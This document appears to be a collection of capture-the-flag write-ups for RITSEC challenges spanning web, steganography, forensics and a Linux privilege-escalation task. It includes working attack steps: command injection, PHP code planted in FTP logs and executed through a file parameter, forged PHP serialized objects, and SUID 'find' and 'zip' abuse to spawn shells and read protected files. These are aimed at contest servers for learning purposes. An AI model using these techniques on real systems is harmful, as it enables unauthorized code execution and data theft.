Pretty Horrible Program 1
Web
Description
Bingus our beloved is found and he can never be replaced
Solution
Entering the challenge page we get the following page.

We get an input field and a link to view the source. Let’s take a look at the source.
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
define('APP_RAN', true);
require('flag.php');
?>
<!DOCTYPE html>
<head>
<style>
body {
display: flex;
flex-direction: column;
align-items: center;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
}
code {
color: orange;
font-size: 2.5rem;
}
.title {
font-weight: 500;
}
.title b {
color: blue;
}
.answer code {
font-size: 2rem;
}
</style>
<title>PHP 1</title>
</head>
<body>
<img src="/php1/praise_bingus.webp" width="300" />
<h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>1</b></h1>
<a href="/php1/index.php?source">View Source Code</a>
<br />
<?php
if (isset($_GET['bingus'])) {
$input = $_GET['bingus'];
$to_replace = 'bingus';
$clean_string = preg_replace("/$to_replace/", '', $input);
echo "<p>Your string is: $clean_string</p>";
if ($clean_string == $to_replace) {
echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>";
output_flag();
} else {
echo "<h2 class=\"answer\">Bingus <span style=\"color: red;\">IS NOT</span> your beloved</h2>";
}
}
?>
<form method="get">
<input type="text" required name="bingus" placeholder="Gimme some input :)" />
<input type="submit" />
</form>
</body>
Here we can see that the input we provide is being modified by $clean_string = preg_replace("/$to_replace/", '', $input);
by replacing the word bingus
. Then a check is made to see if the cleaned string matches the word bingus
. So if we enter bibingusngus
the code should only remove the bingus
in the middle and the resulting cleaned string should be bingus
.
And sure enough when submitting bibingusngus
we get the flag.

RS{B1ngus_0ur_B3lov3d}
Pretty Horrible Program 2
Web
Description
Bingus cereal đź‘€ duh
Solution
When entering the challenge page we get the following.

So we get an input field to enter a serialized user, some output and a link to view the source. Let’s start by taking a look at the code.
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
define('APP_RAN', true);
require('flag.php');
if (!isset($_COOKIE['user'])) {
$default_user = new User;
$_COOKIE['user'] = serialize($default_user);
setcookie(
'user',
serialize($default_user),
);
}
if (isset($_POST['user'])) {
setcookie(
'user',
$_POST['user'],
);
}
?>
<!DOCTYPE html>
<html>
<head>
<style>
body {
display: flex;
flex-direction: column;
align-items: center;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
}
hr {
width: 50%;
}
code {
font-size: 2rem;
font-weight: 500;
}
.error {
color: red;
}
.success {
color: green;
}
.title {
font-weight: 500;
}
.title b {
color: blue;
}
.answer code {
font-size: 2rem;
}
form {
display: flex;
flex-direction: column;
align-items: center;
}
</style>
<title>PHP 2</title>
</head>
<body>
<img src="/php2/meme.jpeg" width="300" />
<h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>2</b></h1>
<?php
class User
{
public $role = 'User';
public function is_admin()
{
if ($this->role == 'Admin') {
return true;
} else {
return false;
}
}
public function __sleep()
{
return array($this->role);
}
}
?>
<?php
if (isset($_COOKIE['user'])) {
echo "<p>Output:<br/>" . $_COOKIE['user'] . '</p>';
} else {
echo 'Please provide some input.';
}
?>
<?php
if (isset($_COOKIE['user'])) {
try {
$user = unserialize($_COOKIE['user']);
if ($user->is_admin()) {
echo '<h3 class="success">Welcome Admin</h3>';
output_flag();
} else {
echo '<h3 class="error">Not Admin</h3>';
}
} catch (Error $e) {
echo '<h2 class="error">Uh oh, ur input was <code>cringe</code></h2>';
}
}
?>
<hr />
<form action="/php2/index.php" method="post">
Serialized User: <input type="text" name="user"><br>
<input type="submit">
</form>
<a href="/php2/index.php?source">View Source Code</a>
</body>
</html>
In the last PHP block we can see that the cookie user
is being unserialized and if the call to is_admin()
is true we get the flag. Let’s take a closer look at the User
class where the is_admin()
method is defined.
class User
{
public $role = 'User';
public function is_admin()
{
if ($this->role == 'Admin') {
return true;
} else {
return false;
}
}
public function __sleep()
{
return array($this->role);
}
}
So the is_admin()
method checks if the field role
is set to Admin
. So all we have to do is to supply a serialized version of the User
class with the role
set to Admin
. Simple enough. So let’s start by writing a simple PHP script serializing the data we need.
<?php
class User
{
public $role = 'Admin';
}
echo serialize(new User());
Executing this script returns the string O:4:"User":1:{s:4:"role";s:5:"Admin";}
. And submitting this we get the flag.

RS{C3re4l_B1ngu5}
Pretty Horrible Program 3
Web
Description
Well, better get cracking I guess
Solution
Entering the challenge page we get the following page.

Ok, so our goal is to supply two inputs that will have the same sha256 hash. Let’s take a look at the source code.
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
define('APP_RAN', true);
require 'flag.php';
?>
<!DOCTYPE html>
<html>
<head>
<style>
body {
display: flex;
flex-direction: column;
align-items: center;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
text-align: center;
}
hr {
width: 50%;
}
code {
font-size: 2rem;
font-weight: 500;
}
.error {
color: red;
}
.success {
color: green;
}
.title {
font-weight: 500;
}
.title b {
color: blue;
}
.answer code {
font-size: 2rem;
}
form {
display: flex;
flex-direction: column;
align-items: center;
}
</style>
<title>PHP 3</title>
</head>
<body>
<img src="/php3/drippy_bingus.jpeg" width="300" />
<h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>3</b></h1>
<?php
if (isset($_GET['input1']) and isset($_GET['input2'])) {
if ($_GET['input1'] == $_GET['input2']) {
print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>';
} else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) {
output_flag();
} else {
print '<h3 class="error">Your inputs don\'t match</h3>';
}
}
?>
<p>See if you can make the sha256 hashes match</p>
<br />
<a href="/php3/index.php?source=true">Source Code</a>
<form method="get">
<input type="text" required name="input1" placeholder="Input 1" />
<p>Hash: <?php if (isset($_GET['input1'])) print hash("sha256", $_GET['input1']) ?></p>
<input type="text" required name="input2" placeholder="Input 2" />
<p>Hash: <?php if (isset($_GET['input2'])) print hash("sha256", $_GET['input2']) ?></p>
<input type="submit" />
</form>
</body>
</html>
<?php
From this we can see that there’s a check to make sure our inputs isn’t the same value. Then there’s a check to verify that the sha256 hashes of the inputs matches. To bypass this we can use type juggling to change the inputs to arrays and breaking the hash
function calls.
Sending php3?input1[]=1&input2[]=2
will satisfy all the checks and return the flag.

RS{Th3_H@sh_Sl1ng1ng_5lash3r}
RITSEC calculator
Web
Description
The most robust JS ever created
Solution
Entering the challenge page we get a calculator.

As the description hints, this should be written in JavaScript. So let’s take a look at the JavaScript for the page. After opening the file /ritcalc/script.js we can see that it’s obfuscated using JSFuck.
To deobfuscate the script we can use de4js. And after deobfuscating we get the following script.
// NOTE:
// This is the final source code file for a blog post "How to build a calculator". You can follow the lesson at https://zellwk.com/blog/calculator-part-3
const calculate = (n1, operator, n2) => {
const firstNum = parseFloat(n1)
const secondNum = parseFloat(n2)
if (operator === 'add') return firstNum + secondNum
if (operator === 'subtract') return firstNum - secondNum
if (operator === 'multiply') return firstNum * secondNum
if (operator === 'divide') return firstNum / secondNum
}
const getKeyType = key => {
const {
action
} = key.dataset
if (!action) return 'number'
if (
action === 'add' ||
action === 'subtract' ||
action === 'multiply' ||
action === 'divide'
) return 'operator'
// For everything else, return the action
return action
}
const createResultString = (key, displayedNum, state) => {
const keyContent = key.textContent
const keyType = getKeyType(key)
const {
firstValue,
operator,
modValue,
previousKeyType
} = state
if (keyType === 'number') {
return displayedNum === '0' ||
previousKeyType === 'operator' ||
previousKeyType === 'calculate' ?
keyContent :
displayedNum + keyContent
}
if (keyType === 'decimal') {
if (!displayedNum.includes('.')) return displayedNum + '.'
if (previousKeyType === 'operator' || previousKeyType === 'calculate') return '0.'
return displayedNum
}
if (keyType === 'operator') {
return firstValue &&
operator &&
previousKeyType !== 'operator' &&
previousKeyType !== 'calculate' ?
calculate(firstValue, operator, displayedNum) :
displayedNum
}
if (keyType === 'clear') return 0
if (keyType === 'calculate') {
return firstValue ?
previousKeyType === 'calculate' ?
calculate(displayedNum, operator, modValue) :
calculate(firstValue, operator, displayedNum) :
displayedNum
}
}
const updateCalculatorState = (key, calculator, calculatedValue, displayedNum) => {
const keyType = getKeyType(key)
const {
firstValue,
operator,
modValue,
previousKeyType
} = calculator.dataset
calculator.dataset.previousKeyType = keyType
if (keyType === 'operator') {
calculator.dataset.operator = key.dataset.action
calculator.dataset.firstValue = firstValue &&
operator &&
previousKeyType !== 'operator' &&
previousKeyType !== 'calculate' ?
calculatedValue :
displayedNum
}
if (keyType === 'calculate') {
calculator.dataset.modValue = firstValue && previousKeyType === 'calculate' ?
modValue :
displayedNum
}
if (keyType === 'clear' && key.textContent === 'AC') {
calculator.dataset.firstValue = ''
calculator.dataset.modValue = ''
calculator.dataset.operator = ''
calculator.dataset.previousKeyType = ''
}
}
const updateVisualState = (key, calculator) => {
const keyType = getKeyType(key)
Array.from(key.parentNode.children).forEach(k => k.classList.remove('is-depressed'))
if (keyType === 'operator') key.classList.add('is-depressed')
if (keyType === 'clear' && key.textContent !== 'AC') key.textContent = 'AC'
if (keyType !== 'clear') {
const clearButton = calculator.querySelector('[data-action=clear]')
clearButton.textContent = 'CE'
}
}
const calculator = document.querySelector('.calculator')
const display = calculator.querySelector('.calculator__display')
const keys = calculator.querySelector('.calculator__keys')
keys.addEventListener('click', e => {
if (!e.target.matches('button')) return
const key = e.target
const displayedNum = display.textContent
const resultString = createResultString(key, displayedNum, calculator.dataset)
if (calculator.dataset.modValue == 'bingus') {
display.textContent = 'RS{ESOTERIC_GUAVA_SCRIPT}'
} else {
display.textContent = resultString
}
updateCalculatorState(key, calculator, resultString, displayedNum)
updateVisualState(key, calculator)
})
At the bottom of the script we can find the flag.
RS{ESOTERIC_GUAVA_SCRIPT}
Really Cool Encryption
Web
Description
Only the most secure and state of the art encryption
Solution
Entering the challenge page we get a simple form with one input and a submit button.

Submitting some text returns the submitted text and the base64 encoded value for the submitted text.

Taking a look at the HTML source we find out that there’s validation on the input field.
<html>
<head>
<title>
Really Cool Encryption
</title>
</head>
<body>
<h1>
Really Cool Encryption
</h1>
<form>
<label for="input">Plain text:</label><br>
<input type="text" name="input" placeholder="example" pattern="^[a-zA-Z]{0,10}$"><br><br>
<input type="submit" value="Submit">
</form>
<h2>
aaa
</h2>
<p>
YWFhCg==
</p>
</body>
</html>
Submitting values other than a-zA-Z directly to the back end turns out to work fine. So no validation at the back end side. Testing for command injection by entering /rce?input=%26+ls
reveals that we are able to run commands on the server and get the output of the commands in the base64 output.
<h2>
& ls
</h2>
<p>
RG9ja2VyZmlsZQpkb2NrZXItY29tcG9zZS55bWwKZXpwd24ucHkKZmxhZwp0ZW1wbGF0ZXMK
</p>
In the decoded base64 output we have the file listing.
Dockerfile docker-compose.yml ezpwn.py flag templates
Trying to cat
the flag just returns the string haha, you’re not done yet. Ok, let’s take a look at the other files. Checking the contents of the Dockerfile
shows us the name of the base docker image and the set up of the container.
FROM youngbaofeng/google-image-search-pretext:latest RUN mkdir /opt/app ADD . /opt/app WORKDIR /opt/app RUN user add bruh USER bruh CMD python3 ezpwn.py EXPOSE 80
Checking out the docker image on docker hub we find out that it’s a new image, so let’s check the image out and see what it contains.
First let’s pull the image using docker pull youngbaofeng/google-image-search-pretext:latest
and then save the image using docker save -o test.tar youngbaofeng/google-image-search-pretext:latest
so we can view the contents.
Extracting the contents of our saved image we get all the layers and configuration making up the image. And in the file 2cf8aa57c80b3e9b1a4234af07b50aa7c6b385e8658b6ac796b0ba8cd2dc32c2.json we can find a layer that prints the flag.
{ "created": "2022-04-01T01:04:27.437471786Z", "created_by": "/bin/sh -c #(nop) CMD [\"/bin/sh\" \"-c\" \"echo \\\"RS{CHANDI_HEADREST}\\\"\"]", "empty_layer": true }
RS{CHANDI_HEADREST}
Down the Data Streams
Web
Description
We think some elite hackers are hosting a classified document. See if you can figure out what they have.
Automated connections are allowed.
Solution
When entering the challenge page, all we get are a text with a file name and the label ‘Start’.

Downloading the file we get some data.

Converting 89504e470d0a1a0a0000000d49484452
from hex reveals a PNG header. So the first part of the file is probably an index and a data chunk. If we use the second part as a file name we get another data chunk.

If the first part is an index, it looks like we have to make a lot of requests to get the whole image. So let’s make a script to download all the chunks.
#!/usr/bin/env python3
import requests
base_url = 'https://ctf.ritsec.club/data-streams/'
first_document = '6610e477ddefc14511cc4f261c3c608d'
fetched_data = [0] * 20000
fh = open('chunks.txt', 'w')
document = first_document
while True:
r = requests.get(base_url + document + '.txt')
document = r.text.split(' ')[2]
So our script will download each txt file, saving each line to a file called chunks.txt and then extracting the last part of the string to use as the next file to download. After letting this script run for a while we get all chunks, with the last line containing END as the next file.
To recreate the image from our downloaded chunks we can write another script.
#!/usr/bin/env python3
fh = open('chunks.txt', 'r')
lines = fh.readlines()
fh.close()
data = [0] * len(lines)
for line in lines:
line = line.split(' ')
idx = int(line[0][1:-1])
b = line[1][1:-2]
data[idx] = b
fd = bytes.fromhex(''.join(data))
fh = open('flag.png', 'wb')
fh.write(fd)
fh.close()
This script will read all lines from the chunks.txt file, create a new array with the same size as number of lines in the file and then parse each line and assigning each value to the correct index of the array. After we have recreated the array we convert the array to bytes and write the data to the file flag.png.
Opening our newly created image we can see the flag.

RS{81ngu5_w3b_53rvic3s}
Bingus Access
Web
Description
Everyone knows about apache logs, but can you exploit this?
Solution
Entering the challenge page we get an image and some text.

Checking the source we can see that the image is a link to the page info.html
. When clicking the link we get redirected to Rick Astley – Never Gonna Give You Up on YouTube. So let’s download info.html
and check out if we can find anything useful.
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="0;URL='https://www.youtube.com/watch?v=dQw4w9WgXcQ'" />
</head>
<body style="color:white">
You wont stop yoinky sploinky, heres a hint for you: you know i made a url get parameter "file", but it is sort of "restricted", but I also have ftp and I log stuff, so no yoinky sploinky there.
</body>
</html>
Ok, so we found some hints here. Using the file
parameter on the main page we get the message No Yoinky Sploinky will be tolerated!. Testing some known paths all return the same message. Back to the hints in the info.html
page. From the hints we know that there’s a FTP server running, and that it logs stuff.
So connecting to ctf.ritsec.club
using FTP we find out that the server is vsftpd, the default log path for vsftpd is /var/log/vsftpd.log
and using this path as the file
parameter we get the log file as output. Great!
Now we need to get some PHP code into the log file to execute. But our login attempts doesn’t seem to be logged. Running an nmap scan on ctf.ritsec.club
reveals another FTP port open, 2121. And connecting to this port and entering invalid credentials do turn up in the logs! Now it’s time to inject some PHP code.
Let’s see if we can get a file listing.
ftp ctf.ritsec.club 2121 Connected to ctf.ritsec.club. 220 (vsFTPd 3.0.3) Name (ctf.ritsec.club:kza): <?php echo shell_exec('ls'); ?> 331 Please specify the password. Password: 530 Login incorrect. Login failed. ftp>
Checking the log file now shows us the current file listing. Success!
Sat Apr 2 17:28:55 2022 [pid 589] [bingus.jpg index.php info.html ] FAIL LOGIN: Client "::ffff:xxx.xxx.xxx.xxx"
No flag in the web dir, let’s check the root by entering <?php echo shell_exec('ls /'); ?>
as the username.
Sat Apr 2 17:30:33 2022 [pid 653] [bin boot cleanup.sh dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ] FAIL LOGIN: Client "::ffff:xxx.xxx.xxx.xxx"
So the flag is in the root. Time to cat it. Entering <?php echo shell_exec('cat /flag.txt'); ?>
as the username and again checking the logs reveals the flag.
Sat Apr 2 17:31:03 2022 [pid 684] [RS{B1NGU5_FL4G} ] FAIL LOGIN: Client "::ffff:xxx.xxx.xxx.xxx"
RS{B1NGU5_FL4G}
Lost in
Cryptography
Description
324c6e597364696f3259725a6f646d673261453d
Bingus sent us this encrypted messagen
Can you decrypt?
Solution
Converting the encrypted message from hex we get 2LnYsdio2YrZodmg2aE=
convert this from base64 and we get عربي١٠١
. Now we can use google translate and translate this from Arabic and we get Arabic101
which is the flag.
RS{Arabic101}
Scrumptions Snacks
Misc
Description
Sheamus the STEGOsaurus is hungry! He’s somewhat secretive about his favorite snack spot, but he’ll gladly share his secret if you say the word: “lunch”. Can you identify the name of Sheamus’ favorite food establishment?
Solution
Attached to the challenge is a JPEG file. And as hinted in the description there’s probably some data hidden in the image using the password lunch.
Using steghide we can recover a text file called location.txt by running the following command steghide extract -sf stegosaurus.jpg
and entering the password lunch.
The new file contains some coordinates, 39.95187791397735, -75.17117334360019
.
Entering the coordinates in Google Maps and entering street view we find a restaurant.

Now we’ve found Sheamus’ favorite food establishment and got our flag.
RS{sweetgreen}
StegWalk
Misc
Description
We found these files in storage. We think there might be something more to one of these images. Good luck!
Solution
Unzip the attached file, we get a lot of images. There’s one thats sticks out though, iyav473h.png.
Checking the file type we see that it’s not a PNG, it’s a JPEG. Using binwalk we can see that there’s an embedded zip file. Extrating the data using binwalk -e
we get a file called secret.txt.
Taking a look at the new file, it seems blank. But using stegsnow -C secret.txt
we get the flag.
RS{st3g0_w4lk_432849}
Copium Ducky
Misc
Description
We found a weird duck talking about exfiltrating sensitive data from air-gapped networks using USBs. They happen to be a bit of bookworm too if that helps.
Solution
Attached is an encoded Rubber Ducky payload. Using the Rubber Ducky Decoder we get the plain text payload.
When opening the plain text payload we see that it’s the book “The War of The Worlds” by H.G. Wells.
T h e SPACE W a r SPACE o f ENTER b240 DELAY 100 SPACE t h e SPACE W o r l d ENTER b240 DELAY 100 s b ENTER b240 DELAY 100 . SPACE W e l l s
Searching for {
and }
reveals one occurance each. And some lines above the {
character we find both an R
and an S
.
R s SPACE f r o m SPACE C h e ENTER b240 DELAY 100 S r t s e y SPACE o r SPACE I ENTER b240 DELAY 100 { s l e w o r t h
From this we can see that the first character after each ENTER command makes up the first part of the flag. So taking the first character after each ENTER command we end up with the flag.
RS{DUCK135_oF_7hE_WoR1D}
Spaced Out
Misc
Description
Space is forever expanding… everything is so spaced out
Solution
Attached is an image of a galaxy with a bunch of pixels spread out across the image.

Taking a closer look at the pixels reveals that they are evenly spread out.

Each pixel spread out by 11 pixels on the x axis and 12 pixels on the y axis. Using this we can write a Python script to extract the pixels and create a new image.
#!/usr/bin/env python3
from PIL import Image
x_step = 11
y_step = 12
img = Image.open('spaced-out.jpeg')
out_img = Image.new(mode='RGB', size=(
int(img.width/x_step)+1, int(img.height/y_step)+1))
for y in range(0, img.height, y_step):
for x in range(0, img.width, x_step):
px = img.getpixel((x, y))
out_img.putpixel((int(x/x_step), int(y/y_step)), px)
out_img.save('flag.jpg')
After running the script we get the following image.

And we get the flag.
RS{B1ngus_T3ch_T1p5}
Bad C2
Forensics
Description
Not very versatile malware
Solution
Opening the attached packet capture file in Wireshark we find a bunch of TCP streams. One of the streams contains a HTTP POST request to http://maliciouspayload.delivery/get/secret
which looks interesting.
POST /get/secret HTTP/1.1 Host: maliciouspayload.delivery User-Agent: python-requests/2.21.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 19 Content-Type: application/json {"please": "false"}HTTP/1.1 200 OK Server: Werkzeug/2.1.0 Python/3.8.10 Date: Tue, 29 Mar 2022 23:52:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 28 sorry, you didn't say please
Sending a request to the endpoint with the JSON-data {"please": "true"}
returns the flag.
RS{m4gic_word_is_4lw4ys_b31ng_p0lit3}
Oreo
Forensics
Description
yum, goes well with milk
Solution
Attached to the challenge is a tar archive. Extracting the archive we get some chrome data.
In the SQLite database Default\Cookies
we can find a cookie for hacking.cyber
with the value UlN7eXVteXVtX20xbGtfNGFuZF9jbzBraTNzX2Ywcl9kYXl6fQ==
.
Decoding the base64 encoded value gives us the flag.
RS{yumyum_m1lk_4and_co0ki3s_f0r_dayz}
Death, Taxes, TCP
Forensics
Description
Take a look at this capture of TCP data transmission. We can always rely on TCP!
Solution
Opening the pcap we see a lot of TCP packets sent from localhost to localhost. Starting with stream 103 we get single characters that looks like a flag. Extracting those until we get a } character we get FOR_H4NDSH4K3S}. The first part of the flag starts at stream 51, extracting those we get RS{NO_T1ME_ and now we have the flag.
RS{NO_T1ME_FOR_H4NDSH4K3S}
Capybara
Pwn
Description
Escalate on this system to read /flag.txt. Capybaras are awesome!
Solution
Connecting to the server we get an input telling us to enter our favorite animal, testing for a bit reveals that we can inject commands.
ssh baseline@ctf.ritsec.club -p 2222 baseline@ctf.ritsec.club's password: Could not chdir to home directory /home/baseline: No such file or directory Enter your favorite animal: ll I love the ll Enter your favorite animal: & Enter your favorite animal: I love the & ls bin boot dev entrypoint.sh etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp tmp.sh tmp2.sh usr var Enter your favorite animal: I love the & cat flag.txt cat: I love the flag.txt: Permission denied Enter your favorite animal: & /bin/bash I love the baseline@632c6ab5726b:/$ ls bin boot dev entrypoint.sh etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp tmp.sh tmp2.sh usr var
Now we got a shell for the user baseline
. Let’s do some enumeration. Scanning for SUID binaries reveals the following binaries.
baseline@b25cfb15f063:/$ find / -type f -perm -04000 -ls 2>/dev/null 4387053 84 -rwsr-xr-x 1 root root 85064 Jul 14 2021 /usr/bin/chfn 4387059 52 -rwsr-xr-x 1 root root 53040 Jul 14 2021 /usr/bin/chsh 4387193 68 -rwsr-xr-x 1 root root 68208 Jul 14 2021 /usr/bin/passwd 4387256 68 -rwsr-xr-x 1 root root 67816 Feb 7 13:33 /usr/bin/su 4387177 56 -rwsr-xr-x 1 root root 55528 Feb 7 13:33 /usr/bin/mount 4387120 88 -rwsr-xr-x 1 root root 88464 Jul 14 2021 /usr/bin/gpasswd 4387281 40 -rwsr-xr-x 1 root root 39144 Feb 7 13:33 /usr/bin/umount 4387182 44 -rwsr-xr-x 1 root root 44784 Jul 14 2021 /usr/bin/newgrp 2843591 316 -r-sr-xr-x 1 middleman middleman 320160 Feb 18 2020 /usr/bin/find 784063 464 -rwsr-xr-x 1 root root 473576 Dec 2 22:38 /usr/lib/openssh/ssh-keysign 784030 52 -rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
The /usr/bin/find
binary looks interesting, lets try to privesc by using this.
baseline@b25cfb15f063:/$ find . -exec /bin/bash -p \; -quit bash-5.0$ whoami middleman
Great. Now we are the user middleman
. Searching for files owned by middleman
reveals that /usr/bin/zip is owned by middleman
, we might be able to use zip to read /flag.txt.
bash-5.0$ cd /dev/shm bash-5.0$ LFILE=/flag.txt bash-5.0$ TF=$(mktemp -u) bash-5.0$ zip $TF $LFILE adding: flag.txt (stored 0%) bash-5.0$ unzip -p $TF RS{CAPYBARA_ON_L1NUX?}
Great! We got the flag.
RS{CAPYBARA_ON_L1NUX?}